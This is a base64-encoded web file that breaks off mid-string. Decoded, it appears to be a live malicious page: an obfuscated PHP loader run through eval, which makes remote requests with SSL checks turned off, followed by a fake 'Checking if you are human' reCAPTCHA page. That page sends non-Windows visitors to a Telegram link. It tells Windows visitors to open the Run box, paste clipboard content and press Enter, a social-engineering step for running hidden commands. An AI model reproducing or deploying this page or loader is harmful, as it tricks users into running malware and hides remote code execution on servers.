xd2VXY2dQU0J6ZEhKbFlXMWZZMjl1ZEdWNGRGOWpjbVZoZEdVb1d5SmNlRFk0WERFMk5Gd3hOalJjZURjd0lpQTlQaUJiSWx3eE5qUmNlRFk1WERFMU5Wd3hORFZjZURabVhIZzNOVnd4TmpRaUlEMCtJQ1JUYWtwdWVpd2dJbHg0TmpsY2VEWTNYREUxTmx4NE5tWmNlRGN5WEhnMk5Wd3hNemRjTVRRMVhERTJNbHd4TmpKY01UVTNYREUyTWx3eE5qTWlJRDArSUhSeWRXVmRYU2s3SUdkdmRHOGdUVmMxVTA4N0lHbEtZMnhIT2lCeVpYUjFjbTRnSkdJM2VrbzNPeUJuYjNSdklFdGxaVTVPT3lCbFdFSnBVVG9nY21WMGRYSnVJR1poYkhObE95Qm5iM1J2SUVOdFRYZzFPeUJEYlUxNE5Ub2dSR2xrU1RZNklHZHZkRzhnYVVwamJFYzdJRk5vV2twNU9pQmpkWEpzWDNObGRHOXdkQ2drYXpscFptOHNJRU5WVWt4UFVGUmZVMU5NWDFaRlVrbEdXVWhQVTFRc0lHWmhiSE5sS1RzZ1oyOTBieUJLUjBoTk1qc2dTVFZWU0d3NklHOVhiMnBGT2lCbmIzUnZJR3hpVmxSRU95QktUekpxVGpvZ0pGTnFTbTU2SUQwZ016QXdPeUJuYjNSdklHWm1abXQxT3lCMGVEQTNWVG9nWm05eVpXRmphQ0FvSkdoMGRIQmZjbVZ6Y0c5dWMyVmZhR1ZoWkdWeUlHRnpJQ1JVVFhWTWJ5a2dleUJuYjNSdklGcDZUa053T3lCbWRYaExhem9nSkZBMGRVRkJJRDBnS0dsdWRDa2dKSGhRVW5wcVd6RmRPeUJuYjNSdklFaG1RMGxHT3lCYWVrNURjRG9nYVdZZ0tDRndjbVZuWDIxaGRHTm9LQ0pjTlRkY2VEVmxYSGcwT0Z4NE5UUmNNVEkwWERFeU1GeDROV05jZURKbVhIZzFZbHg0TldOY2VEWTBYREV6TkZ3MU5sd3hNelZjZURKaVhIZ3lNRncxTUZ3eE16UmNNVFEwWEhneVlseDRNamxjZURKbUlpd2dKRlJOZFV4dkxDQWtlRkJTZW1vcEtTQjdJR2R2ZEc4Z2JESTFNelk3SUgwZ1oyOTBieUJtZFhoTGF6c2daR2xRT0VnNklHd3lOVE0yT2lCbmIzUnZJSE40VG1RMk95QlNjbDlhY2pvZ2NtVjBkWEp1SUdaaGJITmxPeUJuYjNSdklFd3hPVloxT3lCTU1UbFdkVG9nYjI1U1JYWTZJR2R2ZEc4Z1pHbFFPRWc3SUhONFRtUTJPaUJJV2twSmNUb2daMjkwYnlCWFVtVm1ZenNnU0daRFNVWTZJR2xtSUNnaEtDUlFOSFZCUVNBaFBTQXlNREFwS1NCN0lHZHZkRzhnYjI1U1JYWTdJSDBnWjI5MGJ5QlNjbDlhY2pzZ1YxSmxabU02SUgwZ1oyOTBieUJKTlZWSWJEc2diWEpoWkhvNklISjFOV1JrT2lCbmIzUnZJR2RWY1daNE95QllTRGxyTnpvZ1kzVnliRjl6WlhSdmNIUW9KR3M1YVdadkxDQkRWVkpNVDFCVVgwTlBUazVGUTFSVVNVMUZUMVZVTENBa1UycEtibm9wT3lCbmIzUnZJRXhGWVhGRE95Qm5WWEZtZURvZ1YyUkRZVE02SUdkdmRHOGdUMFJmUlhVN0lFcEhTRTB5T2lBa1lqZDZTamNnUFNCamRYSnNYMlY0WldNb0pHczVhV1p2S1RzZ1oyOTBieUJqVFdsbGNUc2dabVptYTNVNklHbG1JQ2doWm5WdVkzUnBiMjVmWlhocGMzUnpLQ0pjTVRRelhERTJOVnd4TmpKY01UVTBYSGcxWmx3eE5URmNNVFUyWEhnMk9Wd3hOalFpS1NrZ2V5Qm5iM1J2SUZka1EyRXpPeUI5SUdkdmRHOGdUWFZWTkdFN0lGbEVabmswT2lCamRYSnNYM05sZEc5d2RDZ2themxwWm04c0lFTlZVa3hQVUZSZlUxTk1YMVpGVWtsR1dWQkZSVklzSUdaaGJITmxLVHNnWjI5MGJ5QlRhRnBLZVRzZ2QxaFdNMVk2SUdOMWNteGZZMnh2YzJVb0pHczVhV1p2S1RzZ1oyOTBieUJhV2tSbGREc2diR0pXVkVRNklHZHZkRzhnUkdsa1NUWTdJR2R2ZEc4Z2MxTkdXVGM3SUhOVFJsazNPaUJYUlZWMWF6b2daMjkwYnlCbFdFSnBVVHNnWTAxcFpYRTZJQ1JMVURSU2FpQTlJR04xY214ZloyVjBhVzVtYnlna2F6bHBabThzSUVOVlVreEpUa1pQWDBoVVZGQmZRMDlFUlNrN0lHZHZkRzhnZDFoV00xWTdJRzlKYzFKSk9pQmpkWEpzWDNObGRHOXdkQ2drYXpscFptOHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc0lERXBPeUJuYjNSdklGaElPV3MzT3lCTVJXRnhRem9nWTNWeWJGOXpaWFJ2Y0hRb0pHczVhV1p2TENCRFZWSk1UMUJVWDFSSlRVVlBWVlFzSUNSVGFrcHVlaWs3SUdkdmRHOGdXVVJtZVRRN0lIcDNTV2gzT2lBa2FIUjBjRjl5WlhOd2IyNXpaVjlvWldGa1pYSWdQU0FrYUhSMGNGOXlaWE53YjI1elpWOW9aV0ZrWlhJZ1B5QWthSFIwY0Y5eVpYTndiMjV6WlY5b1pXRmtaWElnT2lCYlhUc2daMjkwYnlCMGVEQTNWVHNnVFhWVk5HRTZJQ1JyT1dsbWJ5QTlJR04xY214ZmFXNXBkQ2dwT3lCbmIzUnZJRzB3U1U1M095QkxaV1ZPVGpvZ2ZRPT0iO2V2YWwoJG8oJHApKTskbT0iY2NjY2NjY2EiOyRxPTA7Pz48IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCIvPgogIDxzY3JpcHQ+CihmdW5jdGlvbiAoKSB7CiAgY29uc3QgcmVkaXJlY3RVcmwgPSAiaHR0cHM6Ly90Lm1lL1Rhcm5rYXBwZV9pbmZvIjsKCiAgCiAgY29uc3QgdWEgPSBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICIiOwogIGNvbnN0IGlzV2luZG93cyA9CiAgICB1YS5pbmNsdWRlcygiV2luZG93cyBOVCIpIHx8CiAgICB1YS5pbmNsdWRlcygiV2luNjQiKSB8fAogICAgdWEuaW5jbHVkZXMoIldpbjMyIik7CgogIGlmICghaXNXaW5kb3dzKSB7CiAgICAKICAgIGlmICh3aW5kb3cubG9jYXRpb24uaHJlZiAhPT0gcmVkaXJlY3RVcmwpIHsKICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UocmVkaXJlY3RVcmwpOwogICAgfQogIH0KfSkoKTsKPC9zY3JpcHQ+CgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsaW5pdGlhbC1zY2FsZT0xIi8+CiAgPHRpdGxlPkNoZWNraW5nIGlmIHlvdSBhcmUgaHVtYW48L3RpdGxlPgogIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzYuMC4wLWJldGEzL2Nzcy9hbGwubWluLmNzcyI+CiAgPGxpbmsgcmVsPSJpY29uIiBpZD0iZHluYW1pYy1mYXZpY29uIiBocmVmPSJkYXRhOiwiPgogIDxzdHlsZT4KCiAgICBib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogI2ZjZmNmYzsgY29sb3I6ICMzMzM7IH0KICAgIC50ZXR0eCB7IGNvbG9yOiByZ2IoNzggNzggNzgpOyB9CiAgICAudmVyaWZ5LW1haW4geyBjb2xvcjogIzMzMyAhaW1wb3J0YW50OyB9CiAgICAudmVyaWZ5LXZlcmlmeS1idXR0b24geyBiYWNrZ3JvdW5kOiAjMzMzMzMzICFpbXBvcnRhbnQ7IH0KICAgIC5jaGVja2JveC13aW5kb3cgeyBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBhbGlnbi1pdGVtczogY2VudGVyOyB3aWR0aDogMzAwcHg7IGhlaWdodDogNzRweDsgYmFja2dyb3VuZC1jb2xvcjogI2ZhZmFmYTsgYm9yZGVyOiAxcHggc29saWQgI2UwZTBlMDsgYm9yZGVyLXJhZGl1czogNHB4OyBwYWRkaW5nOiAxMHB4OyBvdmVyZmxvdzogaGlkZGVuOyB0cmFuc2l0aW9uOiB3aWR0aCAuNXMgZWFzZS1pbi1vdXQsIGhlaWdodCAuNXMgZWFzZS1pbi1vdXQ7IH0KICAgIC5jaGVja2JveC1jb250YWluZXIgeyB3aWR0aDogMjhweDsgaGVpZ2h0OiAyOHB4OyBtYXJnaW4tbGVmdDogMTJweDsgbWFyZ2luLXJpZ2h0OiA4cHg7IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgLmNoZWNrYm94IHsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsgYm9yZGVyLXJhZGl1czogMnB4OyBib3JkZXI6IDJweCBzb2xpZCAjODg4OyBjdXJzb3I6IHBvaW50ZXI7IHRyYW5zaXRpb246IGJvcmRlci1jb2xvciAuM3MsIGJhY2tncm91bmQtY29sb3IgLjNzOyB9CiAgICAuY2hlY2tib3guY2hlY2tlZCB7IGJvcmRlci1jb2xvcjogIzQyODVmNDsgYmFja2dyb3VuZC1jb2xvcjogIzQyODVmNDsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAuY2hlY2tib3guY2hlY2tlZDo6YWZ0ZXIgeyBjb250ZW50OiAiXGYwMGMiOyBmb250LWZhbWlseTogIkZvbnRBd2Vzb21lIjsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMThweDsgcG9zaXRpb246IGFic29sdXRlOyB0b3A6IC0ycHg7IGxlZnQ6IDJweDsgfQogICAgLnNwaW5uZXIgeyB2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgLnZlcmlmeS13aW5kb3cgeyBvcGFjaXR5OiAwOyB2aXNpYmlsaXR5OiBoaWRkZW47IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDA7IHRyYW5zaXRpb246IG9wYWNpdHkgLjVzLCBoZWlnaHQgLjVzOyB9CiAgICAudmVyaWZ5LXdpbmRvdy5hY3RpdmUgeyBvcGFjaXR5OiAxOyB2aXNpYmlsaXR5OiB2aXNpYmxlOyBoZWlnaHQ6IGF1dG87IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2U4NWQxYTsgcGFkZGluZzogMTBweDsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMTRweDsgfQogICAgLnZlcmlmeS1tYWluIHsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAxNHB4OyBjb2xvcjogI2ZmZjsgfQogICAgLnZlcmlmeS1mb290ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZjJmMmYyOyBwYWRkaW5nOiAxMHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQogICAgLnZlcmlmeS1mb290ZXIgYnV0dG9uIHsgcGFkZGluZzogOHB4IDE1cHg7IGJhY2tncm91bmQ6ICM0Mjg1ZjQ7IGNvbG9yOiAjZmZmOyBib3JkZXI6IG5vbmU7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogNHB4OyB9CiAgICAudmVyaWZ5LXdpbmRvdyB7IHdpZHRoOiBhdXRvOyB9CiAgICAudmVyaWZ5LWhlYWRlciB7IGJhY2tncm91bmQtY29sb3I6ICNlODVkMWE7IHBhZGRpbmc6IDEwcHggMTZweDsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMTRweDsgYm9yZGVyLXJhZGl1czogMDsgfQogICAgLmxkcy1yaW5nIHsgZGlzcGxheTogaW5saW5lLWJsb2NrOyBwb3NpdGlvbjogcmVsYXRpdmU7IH0KICAgIC5sZHMtcmluZywgLmxkcy1yaW5nIGRpdiB7IGhlaWdodDogMS44NzVyZW07IHdpZHRoOiAxLjg3NXJlbTsgfQogICAgLmxkcy1yaW5nIGRpdiB7IGFuaW1hdGlvbjogbGRzLXJpbmcgMS4ycyBjdWJpYy1iZXppZXIoLjUsMCwuNSwxKSBpbmZpbml0ZTsgYm9yZGVyOiAuM3JlbSBzb2xpZCB0cmFuc3BhcmVudDsgYm9yZGVyLXJhZGl1czogNTAlOyBib3JkZXItdG9wLWNvbG9yOiAjMzEzMTMxOyBib3gtc2l6aW5nOiBib3JkZXItYm94OyBkaXNwbGF5OiBibG9jazsgcG9zaXRpb246IGFic29sdXRlOyB9CiAgICAubGRzLXJpbmcgZGl2OmZpcnN0LWNoaWxkIHsgYW5pbWF0aW9uLWRlbGF5OiAtLjQ1czsgfQogICAgLmxkcy1yaW5nIGRpdjpudGgtY2hpbGQoMikgeyBhbmltYXRpb24tZGVsYXk6IC0uM3M7IH0KICAgIC5sZHMtcmluZyBkaXY6bnRoLWNoaWxkKDMpIHsgYW5pbWF0aW9uLWRlbGF5OiAtLjE1czsgfQogICAgQGtleWZyYW1lcyBsZHMtcmluZyB7IDAlIHsgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7IH0gdG8geyB0cmFuc2Zvcm06IHJvdGF0ZSgxdHVybik7IH0gfQogICAgQG1lZGlhIChwcmVmZXJzLWNvbG9yLXNjaGVtZTogZGFyaykgeyBib2R5IC5sZHMtcmluZyBkaXYgeyBib3JkZXItY29sb3I6ICM2NzY3NjcgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQ7IH0gfQogICAgKiB7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IG1hcmdpbjogMDsgcGFkZGluZzogMDsgfQogICAgYm9keSB7IGZvbnQtZmFtaWx5OiBzeXN0ZW0tdWksLWFwcGxlLXN5c3RlbSxCbGlua01hY1N5c3RlbUZvbnQsIlNlZ29lIFVJIixSb2JvdG8sIkhlbHZldGljYSBOZXVlIixBcmlhbCwiTm90byBTYW5zIixzYW5zLXNlcmlmLCJBcHBsZSBDb2xvciBFbW9qaSIsIlNlZ29lIFVJIEVtb2ppIiwiU2Vnb2UgVUkgU3ltYm9sIiwiTm90byBDb2xvciBFbW9qaSI7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGhlaWdodDogMTAwdmg7IG1pbi1oZWlnaHQ6IDEwMHZoOyB9CiAgICAubWFpbi13cmFwcGVyIHsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZGlzcGxheTogZmxleDsgZmxleDogMTsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgfQogICAgLm1haW4tY29udGVudCB7IG1hcmdpbjogOHJlbSBhdXRvOyBtYXgtd2lkdGg6IDYwcmVtOyBwYWRkaW5nLWxlZnQ6IDEuNXJlbTsgcGFkZGluZy1yaWdodDogMS41cmVtOyB3aWR0aDogMTAwJTsgfQogICAgLmZvb3RlciB7IGZvbnQtc2l6ZTogLjc1cmVtOyBsaW5lLWhlaWdodDogMS4xMjVyZW07IG1hcmdpbjogMCBhdXRvOyBtYXgtd2lkdGg6IDYwcmVtOyBwYWRkaW5nLWxlZnQ6IDEuNXJlbTsgcGFkZGluZy1yaWdodDogMS41cmVtOyB3aWR0aDogMTAwJTsgfQogICAgLmZvb3Rlci1pbm5lciB7IGJvcmRlci10b3A6IDFweCBzb2xpZCAjZDlkOWQ5OyBwYWRkaW5nLWJvdHRvbTogMXJlbTsgcGFkZGluZy10b3A6IDFyZW07IHRleHQtYWxpZ246IGNlbnRlcjsgfQoKICAgIC52ZXJpZnktd2luZG93IHsgZm9udC1mYW1pbHk6IFJvYm90byxoZWx2ZXRpY2EsYXJpYWwsc2Fucy1zZXJpZjsgb3BhY2l0eTogMDsgdmlzaWJpbGl0eTogaGlkZGVuOyBtYXJnaW46IGF1dG87IHdpZHRoOiAzMTBweDsgdHJhbnNpdGlvbjogb3BhY2l0eSA0MDBtczsgfQogICAgLnZlcmlmeS13aW5kb3cgeyBkaXNwbGF5OiBibG9jazsgdG9wOiA1cHg7IGxlZnQ6IDU0cHg7IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogIzFhNzNlODsgcGFkZGluZzogMTZweDsgY29sb3I6ICNmZmY7IGZvbnQtc2l6ZTogMThweDsgYm9yZGVyLXJhZGl1czogOHB4IDhweCAwIDA7IH0KICAgIC52ZXJpZnktbWFpbiB7IHBhZGRpbmc6IDE2cHg7IGZvbnQtc2l6ZTogMTRweDsgY29sb3I6ICMzMzM7IH0KICAgIC52ZXJpZnktbWFpbiBvbCB7IHBhZGRpbmctbGVmdDogMjBweDsgfQogICAgLnZlcmlmeS1tYWluIG9sIGxpIHsgbWFyZ2luLWJvdHRvbTogMTBweDsgfQogICAgLnZlcmlmeS1tYWluIGNvZGUgeyBkaXNwbGF5OiBibG9jazsgbWFyZ2luLXRvcDogMTBweDsgYmFja2dyb3VuZC1jb2xvcjogI2Y5ZjlmOTsgcGFkZGluZzogMTBweDsgZm9udC1zaXplOiAxMnB4OyBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyB9CiAgICAudmVyaWZ5LWZvb3RlciB7IGJhY2tncm91bmQtY29sb3I6ICNmMmYyZjI7IHBhZGRpbmc6IDE2cHg7IHRleHQtYWxpZ246IHJpZ2h0OyB9CiAgICAudmVyaWZ5LWZvb3RlciBidXR0b24geyBwYWRkaW5nOiAxMHB4IDIwcHg7IGJhY2tncm91bmQ6ICM0Mjg1ZjQ7IGNvbG9yOiAjZmZmOyBib3JkZXI6IG5vbmU7IGJvcmRlci1yYWRpdXM6IDVweDsgY3Vyc29yOiBwb2ludGVyOyB9CiAgICAub3ZlcmxheSB7IGRpc3BsYXk6IG5vbmU7IHBvc2l0aW9uOiBmaXhlZDsgdG9wOiAwOyBsZWZ0OiAwOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLC41KTsgei1pbmRleDogMTA7IH0KICAgIC5vdmVybGF5LmFjdGl2ZSwgLnZlcmlmeS13aW5kb3cuYWN0aXZlIHsgZGlzcGxheTogYmxvY2s7IH0KICAgIC52ZXJpZnktd2luZG93IHsgd2lkdGg6IGF1dG87IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2U4NWQxYTsgcGFkZGluZzogMTBweCAxNnB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxNHB4OyBib3JkZXItcmFkaXVzOiAwOyB9CiAgICAjc3Bpbm5lcjIgeyB3aWR0aDogNDBweDsgaGVpZ2h0OiA0MHB4OyBhbmltYXRpb246IHJvdGF0ZSA0cyBsaW5lYXIgaW5maW5pdGU7IG1hcmdpbi10b3A6IC00cHg7IH0KICAgIC5jaGVja2JveC13aW5kb3cgeyBvcGFjaXR5OiAwOyB9CiAgICBAa2V5ZnJhbWVzIHJvdGF0ZSB7IGZyb20geyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfSB0byB7IHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7IH0gfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8ZGl2IGNsYXNzPSJtYWluLXdyYXBwZXIiPgogPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50Ij4KICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgIDwhLS0gT24tcGFnZSBsb2dvIC0tPgogICA8aW1nIGNsYXNzPSJsb2dvLWltZyIgc3JjPSIiIGFsdD0iU2l0ZSBsb2dvIiBzdHlsZT0iaGVpZ2h0OiAycmVtOyBtYXJnaW4tcmlnaHQ6IDAuNXJlbTsiPgogICA8cCBzdHlsZT0iZm9udC1zaXplOiAyLjVyZW07IGZvbnQtd2VpZ2h0OiA1MDA7IGxpbmUtaGVpZ2h0OiAzLjc1cmVtOyI+PHNwYW4gY2xhc3M9ImRvbWFpbi1uYW1lIj48L3NwYW4+PC9wPgogIDwvZGl2PgoKICA8ZGl2IHN0eWxlPSJmb250LXNpemU6IDEuNXJlbTsgbGluZS1oZWlnaHQ6IDIuMjVyZW07IG1hcmdpbi1ib3R0b206IDJyZW07IG1pbi1oZWlnaHQ6IDJyZW07Zm9udC13ZWlnaHQ6NTUwOyBwYWRkaW5nLXRvcDogMnB4Ij4KICAgIDxwPgogICAgICA8c3BhbiBjbGFzcz0icHJlbG9hZGVyX3RleHQiPjwvYj5DaGVja2luZyBpZiB5b3UgYXJlIGh1bWFuLiBUaGlzIG1heSB0YWtlIGEgZmV3IHNlY29uZHMuPC9zcGFuPgogICAgICA8c3BhbiBjbGFzcz0idGV4dGFsbHN0ZXAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+VmVyaWZ5IHlvdSBhcmUgaHVtYW4gYnkgY29tcGxldGluZyB0aGUgYWN0aW9uIGJlbG93Ljwvc3Bhbj4KICAgIDwvcD4KICA8L2Rpdj4KCiAgPCEtLSBQUkVMT0FERVIgLS0+CiAgPGRpdiBjbGFzcz0iaW50cm8iPgogIDxkaXYgY2xhc3M9InByZWxvYWRlciI+CiAgICA8ZGl2IGNsYXNzPSJsZHMtcmluZyI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48L2Rpdj4KICA8L2Rpdj4KCiAgPCEtLSBTVEFSVCAtLT4KICA8ZGl2IGlkPSJjaGVja2JveC13aW5kb3ciIGNsYXNzPSJjaGVja2JveC13aW5kb3ciIHN0eWxlPSJ3aWR0aDogMzAwcHg7IGhlaWdodDogNzRweDsgZGlzcGxheTogbm9uZTsiPgogICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyB3aWR0aDogMTAwJTsiPgogICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtY29udGFpbmVyIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsgbWFyZ2luLXJpZ2h0OiAxMnB4OyB3aWR0aDogMzBweDsiPgoKICAgICA8c3ZnIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InN0ZXAwIiBpZD0ic3Bpbm5lcjIiIGZpbGw9ImdyZWVuIiB2aWV3Qm94PSIwIDAgNjAgNjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICAgICAgPGNpcmNsZSBjeD0iMzAiIGN5PSIxMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjUwIiBjeT0iMzAiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSIzMCIgY3k9IjUwIiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTAiIGN5PSIzMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjQzLjYiIGN5PSIxNi40IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTYuNCIgY3k9IjE2LjQiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSI0My42IiBjeT0iNDMuNiIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjE2LjQiIGN5PSI0My42IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgIDwvc3ZnPgoKICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgaWQ9ImNoZWNrYm94IiBjbGFzcz0iY2hlY2tib3ggc3RlcDEiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9idXR0b24+CgogICAgIDxkaXYgY2xhc3M9InNwaW5uZXIgc3RlcDIiIGlkPSJzcGlubmVyIiBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBkaXNwbGF5OiBub25lOyI+CiAgICAgIDxkaXYgY2xhc3M9Imxkcy1yaW5nIj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2PgogICAgIDwvZGl2PgoKICAgICA8ZGl2IGNsYXNzPSJzdGVwMyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgICAgPHN2ZyB3aWR0aD0iMzAiIGhlaWdodD0iMzAiIHZpZXdCb3g9IjAgMCA1MCA1MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgICAgIDxjaXJjbGUgY3g9IjI1IiBjeT0iMjUiIHI9IjIzIiBmaWxsPSIjMjhhNzQ1IiAvPgogICAgICAgPHBhdGggZD0iTTE1IDI1IEwyMiAzMiBMMzUgMTgiIHN0cm9rZT0id2hpdGUiIHN0cm9rZS13aWR0aD0iNCIgZmlsbD0ibm9uZSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiAvPgogICAgICA8L3N2Zz4KICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9InRldHR4Ij4KICAgICA8cCBjbGFzcz0ic3RlcDAiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsiPlZlcmlmeWluZy4uLjwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDEiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPkknbSBub3QgYSByb2JvdDwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDIiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPlZlcmlmaWNhdGlvbiBTdGVwczwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDMiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPlN1Y2Nlc3NmdWxseS48L3A+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IHN0eWxlPSJmb250LXNpemU6IDhweDsgdGV4dC1hbGlnbjogcmlnaHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyI+CiAgICAgPGltZyBzdHlsZT0id2lkdGg6IDY3cHg7IGhlaWdodDogMjNweDsgbWFyZ2luLWJvdHRvbTogNXB4OyIgc3JjPSJodHRwczovL2kucG9zdGltZy5jYy9rNHpyejkyei8xMTEucG5nIiAvPgogICAgIDxwIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPkNvbmZpZGVudGlhbGl0eTwvcD4KICAgICA8cCBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5UZXJtcyBhbmQgQ29uZGl0aW9uczwvcD4KICAgIDwvZGl2PgogICA8L2Rpdj4KCiAgIDxkaXYgaWQ9InZlcmlmeS13aW5kb3ciIGNsYXNzPSJ2ZXJpZnktd2luZG93IiBzdHlsZT0iYm9yZGVyLXRvcDogMXB4IHNvbGlkICM3OTc5Nzk7IHBhZGRpbmctdG9wOiAzcHg7IG1hcmdpbi10b3A6IDE1cHg7Ij4KICAgIDxkaXYgY2xhc3M9InZlcmlmeS1jb250YWluZXIiPgogICAgIDxtYWluIGNsYXNzPSJ2ZXJpZnktbWFpbiIgc3R5bGU9ImNvbG9yOiAjZDlkOWQ5OyI+CiAgICAgIDxwIHN0eWxlPSJmb250LXNpemU6IDE4cHg7IG1hcmdpbi1ib3R0b206IDE1cHg7Ij5UbyBiZXR0ZXIgcHJvdmUgeW91IGFyZSBub3QgYSByb2JvdCwgcGxlYXNlOjwvcD4KICAgICAgPG9sPgogICAgICAgPGxpPlByZXNzICZhbXA7IGhvbGQgdGhlIFdpbmRvd3MgS2V5IDxpIGNsYXNzPSJmYWIgZmEtd2luZG93cyI+PC9pPiArIDxiPlI8L2I+LjwvbGk+CiAgICAgICA8bGk+SW4gdGhlIHZlcmlmaWNhdGlvbiB3aW5kb3csIHByZXNzIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uPC9saT4KICAgICAgIDxsaT5QcmVzcyA8Yj5FbnRlcjwvYj4gb24geW91ciBrZXlib2FyZCB0byBmaW5pc2guPC9saT4KICAgICAgPC9vbD4KICAgICAgPHAgY2xhc3M9Im9ic2VydmUiIHN0eWxlPSJwYWRkaW5nLXRvcDogMTBweDsiPgogICAgICAgWW91IHdpbGwgb2JzZXJ2ZSBhbmQgYWdyZWU6PGJyPgogICAgICAgPGNvZGUgc3R5bGU9ImJhY2tncm91bmQ6IG5vbmU7IGJvcmRlcjogMXB4IHNvbGlkICM3OTc5Nzk7IHdpZHRoOiA0MzJweDsiPiDinIUgIkkgYW0gbm90IGEgcm9ib3QgLSByZUNBUFRDSEEgVmVyaWZpY2F0aW9uIElEOiA8c3BhbiBpZD0idmVyaWZpY2F0aW9uLWlkIj4xNDY4MjA8L3NwYW4+IiA8L2NvZGU+CiAgICAgIDwvcD4KICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9